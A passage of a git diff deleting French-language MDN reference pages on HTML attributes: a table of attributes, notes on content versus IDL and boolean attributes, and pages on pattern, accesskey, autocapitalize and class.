dropzoneAttribut universelCet attribut indique si l'élément peut recevoir du contenu suite à un glisser/déposer.
enctype{{HTMLElement("form")}}Cet attribut définit le type de contenu des données de formulaire envoyées lorsque la méthode utilisée est POST.
enterkeyhint {{experimental_inline}}{{HTMLElement("textarea")}}, contenteditableCet attribut indique le libellé ou l'icône à afficher sur la touche entrée des clavier virtuels. Cet attribut peut être utilisé sur les contrôles de formulaires ou sur les éléments qui sont éditables (par exemple avec l'attribut contenteditable).
for{{HTMLElement("label")}}, {{HTMLElement("output")}}Cet attribut décrit l'élément auquel se rapporte l'élément courant.
form{{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("meter")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}Cet attribut indique le formulaire auquel l'élément se rapporte.
formaction{{HTMLElement("input")}}, {{HTMLElement("button")}}Cet attribut est l'URI du programme qui traite les données pour ces champs du formulaire. Il prend le pas sur l'attribut action défini pour {{HTMLElement("form")}}.
formenctype{{HTMLElement("input")}}, {{HTMLElement("button")}}Si le bouton ou le champ sert à l'envoi (type="submit"), cet attribut indique l'encodage utilisé pour l'envoi des données. Si cet attribut est indiqué, il surcharge l'attribut enctype du formulaire auquel est rattaché le bouton/champ.
formmethod{{HTMLElement("input")}}, {{HTMLElement("button")}}Si le bouton ou le champ sert à l'envoi (type="submit"), cet attribut indique la méthode HTTP pour envoyer les données (GET, POST, etc.). Si cet attribut est indiqué, il surcharge l'attribut method du formulaire auquel est rattaché le bouton/champ.
formnovalidate{{HTMLElement("input")}}, {{HTMLElement("button")}}Si le bouton ou le champ sert à l'envoi (type="submit"), cet attribut booléen indique que le formulaire ne doit pas être validé à l'envoi. Si cet attribut est indiqué, il surcharge l'attribut novalidate du formulaire auquel est rattaché le bouton/champ.
formtarget{{HTMLElement("input")}}, {{HTMLElement("button")}}Si le bouton ou le champ sert à l'envoi (type="submit"), cet attribut indique le contexte de navigation (onglet, fenêtre ou iframe) dans lequel afficher la réponse après l'envoi du formulaire. Si cet attribut est indiqué, il surcharge l'attribut target du formulaire auquel est rattaché le bouton/champ.
headers{{HTMLElement("td")}}, {{HTMLElement("th")}}Les identifiants des éléments <th> qui s'appliquent à cet élément.
height{{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("video")}} -

Pour ces éléments, cet attribut définit la hauteur occupée par l'élément. Pour les autres éléments, on utilisera {{cssxref("height")}} property.

- -
-

Note : Pour certains éléments comme {{HTMLElement("div")}},cet attribut est un reliquat et ne devrait plus être utilisé. C'est la propriété CSS {{cssxref("height")}} qui est la méthode standard pour définir la hauteur d'un élément.

-
-
hiddenAttribut universelCet attribut empêche le rendu d'un élément sur une page tout en conservant les éléments fils actifs.
high{{HTMLElement("meter")}}Cet attribut indique la borne inférieure de l'intervalle haut.
href{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("base")}}, {{HTMLElement("link")}}L'URL de la ressource liée.
hreflang{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}Cet attribut indique la langue utilisé pour la ressource liée.
http-equiv{{HTMLElement("meta")}}
icon{{HTMLElement("command")}}Cet attribut indique une image qui représente la commande.
idAttribut universelCet attribut permet d'identifier un élément d'un document de façon unique. Il est généralement utilisé pour manipuler l'élément avec des scripts ou pour le mettre en forme avec CSS.
importance {{experimental_inline}}{{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}Cet attribut indique la priorité relative pour la récupération (fetch) des ressources.
integrity{{HTMLElement("link")}}, {{HTMLElement("script")}} -

Une fonctionnalité relative à la sécurité qui permet aux navigateurs de vérifier les fichiers qu'ils récupèrent.

-
intrinsicsize {{experimental_inline}}{{HTMLElement("img")}}Cet attribut indique au navigateur qu'il faut ignorer la taille intrinsèque de l'image et qu'il faut utiliser la taille indiquée avec les attributs.
inputmode{{HTMLElement("textarea")}}, contenteditableCet attribut fournit une indication sur le type de donnée qui pourrait être saisi par l'utilisateur lors de l'édition du formulaire ou de l'élément. Cet attribut peut être utilisé sur les contrôles de formulaires ou sur les éléments qui sont éditables (par exemple avec l'attribut contenteditable).
ismap{{HTMLElement("img")}}Cet attribut indique que l'image contribue à une mosaïque d'images interactive côté serveur.
itempropAttribut universel
keytype{{HTMLElement("keygen")}}Cet attribut définit le type de clé qui est généré.
kind{{HTMLElement("track")}}Cet attribut définit le type de piste textuelle.
label{{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("track")}}Cet attribut définit un titre, lisible par un utilisateur, pour l'élément.
langAttribut universelCet attribut définit la langue utilisée dans l'élément.
language{{HTMLElement("script")}}Cet attribut définit le langage de script utilisé dans l'élément.
loading {{experimental_inline}}{{HTMLElement("img")}}, {{HTMLElement("iframe")}}Cet attribut indique que l'élément doit être chargé à la demande.
list{{HTMLElement("input")}}Cet attribut constitue une liste d'options prédéfinie qui est suggérée à l'utilisateur.
loop{{HTMLElement("audio")}}, {{HTMLElement("bgsound")}}, {{HTMLElement("marquee")}}, {{HTMLElement("video")}}Cet attribut indique si le média courant doit recommencer au début une fois que sa lecture est terminée.
low{{HTMLElement("meter")}}Cet attribut indique la borne supérieure de l'intervalle bas.
manifest{{HTMLElement("html")}} -

Cet attribut définit l'URL du manifeste du document pour la gestion du cache.

- -

Cet attribut est obsolète, on utilisera plutôt <link rel="manifest">.

-
max{{HTMLElement("input")}}, {{HTMLElement("meter")}}, {{HTMLElement("progress")}}Cet attribut indique la valeur maximale autorisée.
maxlength{{HTMLElement("input")}}, {{HTMLElement("textarea")}}Cet attribut définit le nombre maximal de caractères autorisé dans l'élément.
minlength{{HTMLElement("input")}}, {{HTMLElement("textarea")}}Cet attribut définit le nombre minimal de caractères qui doivent être saisis dans l'élément.
media{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}, {{HTMLElement("source")}}, {{HTMLElement("style")}}Cet attribut est indication à propos du type de média pour la ressource liée.
method{{HTMLElement("form")}}Cet attribut définit la méthode HTTP à utiliser pour l'envoi des données du formulaire (GET par défaut ou POST)
min{{HTMLElement("input")}}, {{HTMLElement("meter")}}Cet attribut indique la valeur minimale autorisée.
multiple{{HTMLElement("input")}}, {{HTMLElement("select")}}Cet attribut indique si plusieurs valeurs peuvent être saisies pour des entrées de type email ou file.
muted{{HTMLElement("audio")}},{{HTMLElement("video")}}Cet attribut indique si le son de la vidéo doit être coupé lorsque la page est chargée initialement.
name{{HTMLElement("button")}}, {{HTMLElement("form")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, {{HTMLElement("map")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}Le nom de l'élément qui peut être utilisé par le serveur pour identifier le champ d'un formulaire.
novalidate{{HTMLElement("form")}}Cet attribut indique que les données du formulaire ne doivent pas être validées lors de l'envoi.
open{{HTMLElement("details")}}Cet attribut indique si les détails seront affichés lors du chargement de la page.
optimum{{HTMLElement("meter")}}Cet attribut indique la valeur numérique optimale.
pattern{{HTMLElement("input")}}Cet attribut définit une expression rationnelle contre laquelle valider la valeur de l'élément.
ping{{HTMLElement("a")}}, {{HTMLElement("area")}}
placeholder{{HTMLElement("input")}}, {{HTMLElement("textarea")}}Cet attribut fournit une indication à l'utilisateur sur ce qu'il peut saisir dans le champ.
poster{{HTMLElement("video")}}Cet attribut est une URL qui indique l'image à afficher tant que l'utilisateur n'a pas lancé la vidéo ou déplacé le curseur.
preload{{HTMLElement("audio")}}, {{HTMLElement("video")}}Cet attribut indique si toute ou partie, voire aucune partie de la ressource doit être téléchargée en avance.
radiogroup{{HTMLElement("command")}}
readonly{{HTMLElement("input")}}, {{HTMLElement("textarea")}}Cet attribut indique si l'élément peut être édité.
referrerpolicy{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}Définit le référent (referrer) envoyé lors de la récupération de la ressource.
rel{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}Cet attribut définit la relation entre l'objet cible et l'objet du lien.
required{{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}Cet attribut indique si l'élément doit obligatoirement être renseigné dans le formulaire.
reversed{{HTMLElement("ol")}}Cet attribut indique si la liste doit être affichée dans un ordre décroissant plutôt que dans un ordre croissant.
rows{{HTMLElement("textarea")}}Cet attribut définit le nombre de lignes pour la zone de texte.
rowspan{{HTMLElement("td")}}, {{HTMLElement("th")}}Cet attribut définit le nombre de lignes sur lesquelles une cellule doit s'étendre.
sandbox{{HTMLElement("iframe")}}Empêche un élément chargé dans une iframe d'utiliser certaines fonctionnalités (envoyer des formulaires ou ouvrir de nouvelles fenêtres par exemples).
scope{{HTMLElement("th")}}Définit les cellules sur lesquelles porte la cellule d'en-tête.
scoped{{HTMLElement("style")}}
selected{{HTMLElement("option")}}Cet attribut définit la valeur qui sera sélectionnée au chargement de la page.
shape{{HTMLElement("a")}}, {{HTMLElement("area")}}
size{{HTMLElement("input")}}, {{HTMLElement("select")}}Cet attribut définit la largeur de l'élément en pixels, si l'attribut type de l'élément vaut text ou password, cela correspond au nombre de caractères du champ.
sizes{{HTMLElement("link")}}, {{HTMLElement("img")}}, {{HTMLElement("source")}}
slotAttribut universelCet attribut affecte un créneau pour un élément dans le shadow DOM.
span{{HTMLElement("col")}}, {{HTMLElement("colgroup")}}
spellcheckAttribut universelCet attribut indique si la vérification orthographique est activée pour l'élément courant.
src{{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("script")}}, {{HTMLElement("source")}}, {{HTMLElement("track")}}, {{HTMLElement("video")}}Cet attribut indique l'URL du contenu embarqué.
srcdoc{{HTMLElement("iframe")}}
srclang{{HTMLElement("track")}}
srcset{{HTMLElement("img")}}
start{{HTMLElement("ol")}}Cet attribut définit le première nombre de la liste si celui-ci est différent de 1.
step{{HTMLElement("input")}}
styleAttribut universelCet attribut définit des styles CSS qui auront la priorité sur ceux définis précédemment. Il ne devrait être utilisé qu'à des fins de tests car il est conseillé d'utiliser un/des fichier(s) à part pour gérer la mise en forme.
summary{{HTMLElement("table")}}
tabindexAttribut universelCet attribut permet de modifier l'ordre dans la navigation à la tabulation.
target{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("base")}}, {{HTMLElement("form")}}
titleAttribut universelCet attribut définit un texte expliquant le contenu de l'élément et qui est généralement affiché sous la forme d'une bulle d'information au survol de l'élément.
translateAttribut universelCet attribut indique si le contenu textuel de l'élément doit être traduit ou non.
type{{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("command")}}, {{HTMLElement("embed")}}, {{HTMLElement("object")}}, {{HTMLElement("script")}}, {{HTMLElement("source")}}, {{HTMLElement("style")}}, {{HTMLElement("menu")}}Cet attribut définit le type de l'élément.
usemap{{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}
value{{HTMLElement("button")}}, {{HTMLElement("option")}}, {{HTMLElement("input")}}, {{HTMLElement("li")}}, {{HTMLElement("meter")}}, {{HTMLElement("progress")}}, {{HTMLElement("param")}}Cet attribut définit la valeur par défaut qui sera affichée dans l'élément au chargement de la page.
width{{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("video")}} -

Pour ces éléments, cet attribut définit la largeur occupée sur l'écran.

- -
-

Note : Pour tous les autres éléments, comme {{HTMLElement("div")}}, il faut utiliser la propriété CSS standard {{cssxref("width")}} afin de définir la largeur.

-
-
wrap{{HTMLElement("textarea")}}Cet attribut indique l'utilisation du retour automatique à la ligne pour le texte de l'élément.
- -

Attribut de contenu ou attribut IDL ?

- -

En HTML, la plupart des attributs ont deux aspects : l'attribut de contenu et l'attribut IDL (pour Interface Definition Language ou langage de définition des interfaces).

- -

L'attribut de contenu est l'attribut qu'on définit via le contenu (le code HTML) et qu'on obtenir et/ou définir via les méthodes {{domxref("element.setAttribute()")}} et {{domxref("element.getAttribute()")}}. L'attribut de contenu sera toujours une chaîne de caractères, y compris lorsque la valeur attendue est un entier. Ainsi, pour indiquer une maxlength d'un élément {{HTMLElement("input")}} à 42, on utilisera setAttribute("maxlength", "42") sur cet élément.

- -

L'attribut IDL est également connu sous la forme d'une propriété JavaScript. Ce sont les attributs qu'on peut obtenir ou modifier via JavaScript sous la forme élément.toto. L'attribut IDL utilisera toujours la valeur de l'attribut de contenu sous-jacent, éventuellement en la modifiant pour renvoyer une valeur ou pour la modifier. Autrement dit, les attributs IDL, reflètent les attributs de contenu.

- -

La plupart du temps, les attributs IDL renverront leurs valeurs, telles qu'elles sont utilisées. Par exemple, le type (l'attribut type) par défaut des éléments {{HTMLElement("input")}} vaut "text", et si on définit input.type="tototruc", l'élément <input> se comportera comme un élément de type text (en termes d'apparence et de comportement) mais le contenu de l'attribut type sera "tototruc". Cependant, l'attribut de type IDL renverra la chaîne "text".

- -

Les attributs IDL ne sont pas toujours des chaînes de caractères. input.maxlength est un nombre par exemple (un entier long signé pour être précis). Lorsqu'on manipule des attributs IDL on utilisera toujours le type défini pour l'interface. Ainsi, input.maxlength renverra toujours un nombre et si on souhaite le définir, il faudra le faire avec un nombre, si on passe une valeur d'un autre type, cette valeur sera convertie grâce aux mécanismes de conversion habituels de JavaScript.

- -

Les attributs IDL peuvent avoir d'autres types : entiers longs non-signés, URL, booléens, etc. Cependant, il n'existe pas de règle claire qui définisse le comportement des attributs IDL en fonction de l'attribut de contenu. La plupart du temps, les règles de cette spécification seront suivies.

- -

Attributs booléens

- -

Certains attributs de contenu (ex. required, readonly, disabled) sont des attributs booléens. Si un attribut booléen est présent, sa valeur correspondra à vrai (true), s'il est absent, sa valeur correspondra à faux (false).

- -

HTML5 définit certaines restrictions quant aux valeurs autorisées pour les attributs booléens. Si un attribut est présent, sa valeur doit être :

- -
    -
  • aucune valeur
    • -
  • la chaîne vide
    • -
  • une valeur écrite en ASCII, insensible à la casse, qui représente le nom canonique de l'attribut sans blanc avant ou après la valeur.
    • -
- -

Voici quelques exemples valides pour utiliser un attribut booléen :

- -
<div itemscope>Ce fragment est du HTML valide mais du XML invalide.</div>
-<div itemscope=itemscope>Ce fragment est du HTML valide mais du XML invalide.</div>
-<div itemscope="">Ce fragment est du HTML valide et du XML valide.</div>
-<div itemscope="itemscope">Ce fragment est du HTML et du XML valide mais est plus verbeux.</div>
- -

Pour être tout à fait explicite, les valeurs "true" et "false" ne sont pas autorisées pour les attributs booléens. Pour représenter une valeur fausse, il faudra ne pas écrire l'attribut du tout.

- -

Cette règle peut entraîner quelques incompréhensions : si on écrit checked="false" l'attribut checked sera présent et donc considéré comme vrai (true).

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs/pattern/index.html b/files/fr/web/html/attributs/pattern/index.html deleted file mode 100644 index 556f50aca9..0000000000 --- a/files/fr/web/html/attributs/pattern/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: 'HTML attribute: pattern' -slug: Web/HTML/Attributs/pattern -tags: - - Attribut - - HTML - - Reference -translation_of: Web/HTML/Attributes/pattern ---- -
{{HTMLSidebar}}
- -

L'attribut pattern indique une expression rationnelle que doit respecter la valeur du contrôle du formulaire. Si une valeur non nulle (qui n'est pas null) ne respecte pas les contraintes portées par pattern, la propriété {{domxref('ValidityState.patternMismatch','patternMismatch')}} en lecture seule, rattachée à l'objet {{domxref('ValidityState')}}, vaudra true.

- -

L'attribut pattern peut être utilisé pour les champs de type {{HTMLElement("input/text", "text")}}, {{HTMLElement("input/tel", "tel")}}, {{HTMLElement("input/email", "email")}}, {{HTMLElement("input/url", "url")}}, {{HTMLElement("input/password", "password")}}, {{HTMLElement("input/search", "search")}}.

- -
-

La valeur de cet attribut doit être une expression rationnelle JavaScript valide (voir la documentation de {{jsxref("RegExp")}} et le guide sur les expressions rationnelles). Le marqueur (flag) 'u' pour être utilisé afin d'indiquer que l'expression rationnelle est une séquence de codets Unicode et non ASCII. On n'utilisera pas de barres obliques (slashes) autour du texte du motif de l'expression rationnelle.

- -

Si le motif n'est pas indiqué ou est invalide, aucune expression rationnelle ne sera appliquée et l'attribut sera ignoré.

- -
-

Note : On pourra utiliser l'attribut {{htmlattrxref("title", "input")}} afin de fournir aux utilisateurs des explications quant aux règles à respecter pour que la valeur soit valide. Attention, on ne doit pas utiliser uniquement cet attribut pour fournir ces explications. Voir ci-après quant à l'utilisabilité.

-
-
- -

Certains types d'<input> qui prennent en charge l'attribut pattern (notamment {{HTMLElement("input/email", "email")}} et {{HTMLElement("input/url", "url")}}) ont des contraintes particulières qui doivent également être respectées. Si l'attribut pattern n'est pas présent et que la valeur saisie ne respecte pas la syntaxe attendue pour ce type de champ, la propriété en lecture seule {{domxref('ValidityState.typeMismatch','typeMismatch')}} vaudra true.

- -

Utilisabilité

- -

Lorsqu'on utilise l'attribut pattern, il est nécessaire de fournir une description du format attendu avec un texte visible près du contrôle. On pourra en plus utiliser l'attribut title afin de fournir une description. Les agents utilisateur peuvent utiliser la valeur de title lors de la validation des contraintes afin d'indiquer à l'utilisateur que le motif n'est pas respecté. Certains navigateurs pourront afficher une bulle d'information et certains outils d'assistance pourront énoncer le contenu de title à voix haute lorsque le focus arrive sur le contrôle. Toutefois, l'utilisation seule de cet attribut ne suffit pas pour fournir une accessibilité suffisante.

- -

Validation des contraintes

- -

Si la valeur du champ n'est pas la chaîne vide et que la valeur ne respecte pas l'expression rationnelle, on aura une incohérence, portée par {{domxref('ValidityState.patternMismatch','patternMismatch')}}.
- L'expression rationnelle indiquée doit correspondre pour toute la chaîne (depuis son début jusqu'à la fin. Autrement dit, c'est comme si on enveloppait l'expression entre ^(?: et )$ afin d'indiquer que c'est toute la chaîne qui est considérée (et pas une de ses sous-partie).

- -

Exemples

- -

Avec le fragment de code HTML suivant :

- -
-
<p>
- <label>Veuillez saisir votre numéro de téléphone au format (123)456-7890
-  (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/>)-
-   <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2"/> -
-   <input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####" aria-label="4-digit number" size="3"/>
- </label>
-</p>
- -

Ici on a les trois sections d'un numéro de téléphone nord-américain avec les deux premières contenant 3 chiffres et la dernière contenant 4 chiffres.

- -

Si les valeurs saisies sont trop longues ou trop courtes ou si elles contiennent des caractères qui ne sont pas des chiffres, la valeur de l'attribut patternMismatch sera true. On aura également l'activation de la pseudo-classe CSS {{cssxref(":invalid")}}.

- -
input:invalid {
-  border: red solid 3px;
-}
- -

{{EmbedLiveSample("exemple1", 300, 40)}}

-
- -

En utilisant les attributs minlength et maxlength à la place, on aurait eu les propriétés {{domxref('validityState.tooLong')}} ou {{domxref('validityState.tooShort')}} qui auraient valu true.

- -

Indiquer un motif

- -

On pourra utiliser l'attribut {{htmlattrxref("pattern","input")}} afin d'indiquer une expression rationnelle qui devra être respectée par la valeur saisie pour que celle-ci soit considérée comme valide (voir ce guide sur la validation avec les expressions rationnelles pour une introduction).

- -

L'exemple qui suit permet de restreindre les valeurs saisies entre 4 et 8 caractères qui doivent également être des lettres minuscules.

- -
<form>
-  <div>
-    <label for="uname">Veuillez choisir un nom d'utilisateur : </label>
-    <input type="text" id="uname" name="name" required size="45"
-           pattern="[a-z]{4,8}" title="4 à 8 lettres en minuscules">
-    <span class="validity"></span>
-    <p>Les noms d'utilisateurs doivent être en minuscules et contenir 4 à 8 caractères.</p>
-  </div>
-  <div>
-    <button>Envoyer</button>
-  </div>
-</form>
- - - -

Résultat

- -

{{EmbedLiveSample('Indiquer_un_motif', 600, 110)}}

- -

Accessibilité

- -

Lorsqu'un contrôle dispose de l'attribut pattern, l'attribut title, s'il est utilisé, doit décrire le motif souhaité. Attention, reposer uniquement sur l'attribut title pour fournir une aide visuelle n'est pas souhaitable car la plupart des agents utilisateur n'exposent pas cet attribut de façon accessible. Certains navigateurs affichent une bulle d'information lorsqu'on survole l'élément avec un pointeur mais cela laisse de côté les utilisateurs qui naviguent avec le clavier ou ceux qui utilisent une interface tactile. Il faut donc inclure au moins autrement des informations sur la façon de saisir des valeurs qui respectent les contraintes.

- -

L'attribut title est utilisé par certains navigateurs pour écrire les messages d'erreur. Attention toutefois car les navigateurs affichent également le contenu de cet attribut au survol de l'élément y compris lorsqu'il n'y a pas d'erreur. La formulation doit être choisie avec précaution pour ne pas induire l'utilisateur en erreur.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', 'forms.html#attr-input-pattern', 'pattern')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'forms.html#attr-input-pattern', 'pattern')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'forms.html#attr-input-pattern', 'pattern')}}{{Spec2('HTML5 W3C')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.elements.attributes.pattern")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/accesskey/index.html b/files/fr/web/html/attributs_universels/accesskey/index.html deleted file mode 100644 index e53f876ed8..0000000000 --- a/files/fr/web/html/attributs_universels/accesskey/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: accesskey -slug: Web/HTML/Attributs_universels/accesskey -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/accesskey ---- -
{{HTMLSidebar("Global_attributes")}}
- -
L'attribut universel accesskey fournit une indication afin de générer un raccourci clavier pour l'élément courant. La valeur de cet attribut est une liste de caractères (un caractère étant ici un seul point de code Unicode) séparés par des espaces. Le navigateur utilisera le premier caractère qui est disponible selon la disposition du clavier utilisée.
- -
{{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}
- - - -

La combinaison de touches utilisée pour le raccourci clavier dépend du navigateur et du système d'exploitation utilisés.

- -
-

Note : La spécification WHATWG indique qu'il est possible d'indiquer des caractères séparés par plusieurs espaces, auquel cas le navigateur considèrera le premier qu'il prend en charge. Toutefois, cela ne fonctionne pas dans la plupart des navigateurs. Pour IE/Edge, c'est la première valeur prise en charge qui sera utilisée si celle-ci n'entre pas en conflit avec d'autres commandes.

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
WindowsLinuxMac
FirefoxAlt + Shift + touche -

Pour Firefox 57 et les versions ultérieures : Control + Option + touche ou Control + Alt + touche
- Pour Firefox 14 et les versions ultérieures : Control + Alt + touche
- Pour Firefox 13 et les versions antérieures : Control + touche

-
EdgeAlt + toucheN/A
Internet ExplorerAlt + toucheN/A
Google ChromeAlt + toucheControl + Alt + touche
SafariAlt + toucheN/AControl + Alt + touche
Opera 15+Alt + keyControl + Alt + key
Opera 12Shift + Esc ouvre une liste de contenu accessible via la touche accesskey, on peut alors ensuite choisir l'élément voulu grâce la touche touche
- -

Accessibilité

- -

Au-delà de la prise en charge limitée des navigateurs, accesskey pose plusieurs problèmes :

- -
    -
  • Un raccourci défini avec accesskey peut rentrer en conflit avec un raccourci du système ou du navigateur, voire avec un raccourci d'un outil d'assistance. Les raccourcis pouvant être différents entre les navigateurs, systèmes d'exploitation et les outils, il n'est pas certain qu'une combinaison qui fonctionne dans un cas puisse fonctionner partout.
    • -
  • Certains raccourcis définis avec accesskey peuvent ne pas être utilisés avec certains claviers, notamment lorsqu'on doit prendre en compte l'internationalisation.
    • -
  • Les raccourcis définis avec accesskey qui utilisent un nombre peuvent être source de confusion pour les personnes souffrant de problèmes cognitifs si le nombre n'a pas d'association logique avec la fonctionnalité déclenchée par le raccourci.
    • -
  • Il est nécessaire d'informer l'utilisateur qu'un raccourci est présent afin que celui-ci puisse être conscient de cette fonctionnalité. Sans méthode d'information, l'utilisateur pourra accidentellement déclencher les raccourcis définis avec accesskey.
    • -
- -

Étant donné ces raisons, il est généralement conseillé de ne pas utiliser accesskey pour les sites web et applications généralistes.

- - - -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML5.2', "editing.html#the-accesskey-attribute", "accesskey")}}{{Spec2('HTML5.2')}}Un comportement plus réaliste est défini et correspond à ce qui est réellement implémenté.
{{SpecName('HTML WHATWG', "interaction.html#the-accesskey-attribute", "accesskey")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "editing.html#the-accesskey-attribute", "accesskey")}}{{Spec2('HTML5.1')}}Aucune modification depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "editing.html#the-accesskey-attribute", "accesskey")}}{{Spec2('HTML5 W3C')}}Plusieurs caractères peuvent être définis via cet attribut depuis {{SpecName('HTML4.01')}}. Cet attribut peut désormais être défini sur n'importe quel élément.
{{SpecName('HTML4.01', "interact/forms.html#h-17.11.2", "accesskey")}}{{Spec2('HTML4.01')}}L'attribut est uniquement pris en charge par {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} et {{HTMLElement("textarea")}}.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.accesskey")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/autocapitalize/index.html b/files/fr/web/html/attributs_universels/autocapitalize/index.html deleted file mode 100644 index 206412edde..0000000000 --- a/files/fr/web/html/attributs_universels/autocapitalize/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: autocapitalize -slug: Web/HTML/Attributs_universels/autocapitalize -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/autocapitalize ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel autocapitalize est un attribut à valeurs contraintes qui contrôle la façon dont le texte saisi est automatiquement converti en majuscules ou non. Voici les valeurs autorisées pour cet attribut :

- -
    -
  • off ou none : aucune transformation automatique n'est appliquée (par défaut, les lettres sont écrites en minuscules)
    • -
  • on ou sentences : la première lettre de chaque phrase est automatiquement écrite en majuscule, les autres lettres ne sont pas transformées (elles sont par défaut en minuscules)
    • -
  • words : la première lettre de chaque mot est automatiquement écrite en majuscule, les autres lettres ne sont pas transformées (elles sont par défaut en minuscules)
    • -
  • characters : toutes les lettres sont converties en majuscules.
    • -
- -

L'attribut autocapitalize n'a aucun impact lorsqu'on utilise un clavier physique. Il modifie la saisie pour les autres moyens de saisie tels que les claviers virtuels ou les moyens de saisie orale. Le but de cet attribut est d'aider de tels moyens à faciliter la saisie de l'utilisateur. Par défaut, un tel moyen de saisie utilisera une majuscule pour chaque début de phrase, modifier l'attribut autocapitalize permet aux auteurs de modifier ce comportement selon les différents éléments.

- -

L'attribut autocapitalize n'entraînera pas de mise en majuscule automatique pour un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} vaut url, email ou password.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "interaction.html#autocapitalization", "autocapitalize")}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.autocapitalize")}}

diff --git a/files/fr/web/html/attributs_universels/class/index.html b/files/fr/web/html/attributs_universels/class/index.html deleted file mode 100644 index 6204b6a173..0000000000 --- a/files/fr/web/html/attributs_universels/class/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: class -slug: Web/HTML/Attributs_universels/class -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/class ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel class indique une liste de classes associées à l'élément courant. Les classes permettent de manipuler les éléments, via CSS ou JavaScript en utilisant les sélecteurs de classe ou des fonctions telles que {{domxref("document.getElementsByClassName")}}.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}
- - - -

Bien que la spécification ne précise aucune contrainte quant aux noms utilisés pour les classes, une bonne pratique consiste à utiliser des noms qui traduisent la sémantique de l'élément plutôt que la mise en forme. Ainsi, les noms sémantiques restent pertinents même lorsque la présentation de la page évolue.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#classes", "class")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis {{SpecName('HTML5.1')}}.
{{SpecName('HTML5.1', "dom.html#element-attrdef-global-class", "class")}}{{Spec2('HTML5.1')}}État selon {{SpecName('HTML WHATWG')}}. Aucune modification depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#classes", "class")}}{{Spec2('HTML5 W3C')}}État selon {{SpecName('HTML WHATWG')}}. class est désormas sun attribut universel depuis {{SpecName('HTML4.01')}},.
